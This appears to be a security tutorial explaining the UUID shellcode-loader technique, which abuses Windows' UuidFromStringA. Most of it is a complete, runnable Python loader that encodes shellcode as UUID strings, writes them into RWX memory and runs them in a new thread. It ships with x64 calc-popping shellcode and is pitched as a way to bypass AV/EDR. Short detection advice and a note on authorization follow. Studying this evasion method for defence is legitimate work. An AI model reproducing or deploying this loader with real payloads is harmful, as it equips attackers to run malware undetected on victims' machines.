First, let's understand UUID: UUID (Universally Unique Identifier) is a 128-bit value commonly used in software systems to provide a reference that is almost guaranteed to be unique. It is typically represented as a string composed of hexadecimal digits and is divided into five parts. Due to its structure and generation method (based on timestamps or random numbers), the likelihood of UUID collisions is extremely low, making it very suitable for identifying objects or records in distributed systems, especially in scenarios lacking centralized uniqueness management mechanisms.
Malicious scripts mainly exploit an API function provided by Microsoft: UuidFromStringA(), which can convert a UUID string into binary format. Therefore, once the above UUIDs are decoded into raw bytes, they will be injected into memory as shellcode for execution. The probability of malware using this technique evading detection is very high, with a VT score of only: 2/61.
UUID-based Shellcode Loader (Python Implementation)
This code simulates how an attacker encodes shellcode into UUID format and loads it for execution in memory. In actual attacks, such code may be used to bypass AV/EDR detection.
Assuming we have a simple shellcode (such as x64 shellcode to pop up calc.exe), we can split it into 16-byte chunks and convert it into UUID format:
import ctypes
import uuid
def generate_uuid_shellcode(shellcode):
"""Convert shellcode into a list of UUID format strings"""
uuid_shellcode = []
for i in range(0, len(shellcode), 16):
chunk = shellcode[i:i+16]
# Pad with NOP (0x90) if less than 16 bytes
if len(chunk) < 16:
chunk += b"\x90" * (16 - len(chunk))
uuid_str = str(uuid.UUID(bytes_le=chunk))
uuid_shellcode.append(uuid_str)
return uuid_shellcode
def execute_uuid_shellcode(uuid_shellcode):
"""Load and execute UUID format shellcode in memory"""
# Allocate readable, writable, executable memory (RWX)
rwx_page = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(uuid_shellcode) * 16),
ctypes.c_int(0x1000), # MEM_COMMIT
ctypes.c_int(0x40) # PAGE_EXECUTE_READWRITE
)
if not rwx_page:
print("[!] VirtualAlloc failed!")
return False
# Convert UUID strings back to binary and write to memory
ptr = rwx_page
for u in uuid_shellcode:
status = ctypes.windll.rpcrt4.UuidFromStringA(
ctypes.c_char_p(u.encode()),
ctypes.c_void_p(ptr)
)
if status != 0:
print(f"[!] UuidFromStringA failed (status: {status})")
return False
ptr += 16
# Create a thread to execute the shellcode
thread_handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_void_p(rwx_page),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
if not thread_handle:
print("[!] CreateThread failed!")
return False
# Wait for the thread to finish
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(thread_handle),
ctypes.c_int(-1)
)
return True
if __name__ == "__main__":
# Example shellcode (x64 to pop calc, replace with actual research shellcode)
shellcode = (
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
b"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
b"\x63\x2e\x65\x78\x65\x00"
)
# Generate UUID format shellcode
print("[+] Generating UUID format shellcode...")
uuid_shellcode = generate_uuid_shellcode(shellcode)
for u in uuid_shellcode:
print(f'"{u}",')
# Execute shellcode
print("\n[+] Executing shellcode...")
if execute_uuid_shellcode(uuid_shellcode):
print("[+] Shellcode execution completed!")
else:
print("[!] Shellcode execution failed!")
Key Code Explanation#
generate_uuid_shellcode
#
- Splits the original shellcode into 16-byte chunks.
- Converts each chunk into a UUID string (little-endian byte order).
execute_uuid_shellcode
#
- Allocates RWX memory using
VirtualAlloc
. - Calls
UuidFromStringA
to restore the UUID back to binary and write it to memory. - Executes the shellcode in memory via
CreateThread
.
Shellcode Replacement#
- The shellcode in the example is a payload to pop calc in x64; it can be replaced with other legitimate shellcode for research purposes (e.g., PoC in vulnerability research).
Defense Recommendations#
Monitor the following API calls:#
- Combination of
VirtualAlloc
+CreateThread
. UuidFromStringA
for converting long strings.
Behavioral Detection:#
- Check if processes frequently allocate RWX memory.
- Use EDR tools (like Elastic Endpoint) to capture memory injection behavior.
Testing Environment:#
- Run such code only in isolated virtual machines (like VMware + snapshots).
Always adhere to penetration testing authorization and compliance requirements!